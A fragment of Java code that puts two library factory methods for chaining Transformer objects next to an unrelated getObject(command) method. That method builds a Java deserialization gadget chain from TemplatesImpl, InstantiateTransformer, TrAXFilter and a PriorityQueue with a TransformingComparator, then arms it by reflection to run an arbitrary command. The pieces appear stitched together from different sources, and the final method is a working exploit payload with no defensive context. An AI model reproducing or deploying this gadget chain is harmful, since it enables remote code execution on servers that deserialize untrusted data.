/** * Create a new Transformer that calls each transformer in turn, passing the * result into the next transformer. The ordering is that of the iterator() * method on the collection. * * @param <T> the object type * @param transformers a collection of transformers to chain * @return the <code>chained</code> transformer * @throws NullPointerException if the transformers collection is null * @throws NullPointerException if any transformer in the collection is null */ @SuppressWarnings("unchecked") public static <T> Transformer<T, T> chainedTransformer( final Collection<? extends Transformer<? super T, ? extends T>> transformers) { if (transformers == null) { throw new NullPointerException("Transformer collection must not be null"); } if (transformers.size() == 0) { return NOPTransformer.<T>nopTransformer(); } // convert to array like this to guarantee iterator() ordering final Transformer<T, T>[] cmds = transformers.toArray(new Transformer[transformers.size()]); FunctorUtils.validate(cmds); return new ChainedTransformer<>(false, cmds); }
/** * Factory method that performs validation and copies the parameter array. * * @param <T> the object type * @param transformers the transformers to chain, copied, no nulls * @return the <code>chained</code> transformer * @throws NullPointerException if the transformers array is null * @throws NullPointerException if any transformer in the array is null */ public static <T> Transformer<T, T> chainedTransformer(final Transformer<? super T, ? extends T>... transformers) { FunctorUtils.validate(transformers); if (transformers.length == 0) { return NOPTransformer.<T>nopTransformer(); } return new ChainedTransformer<>(transformers); }
public Queue<Object> getObject(final String command) throws Exception { Object templates = Gadgets.createTemplatesImpl(command); ConstantTransformer constant = new ConstantTransformer(String.class); // mock method name until armed Class[] paramTypes = new Class[] { String.class }; Object[] args = new Object[] { "foo" }; InstantiateTransformer instantiate = new InstantiateTransformer( paramTypes, args); // grab defensively copied arrays paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate }); // create queue with numbers PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain)); queue.add(1); queue.add(1); // swap in values to arm Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); paramTypes[0] = Templates.class; args[0] = templates; return queue; }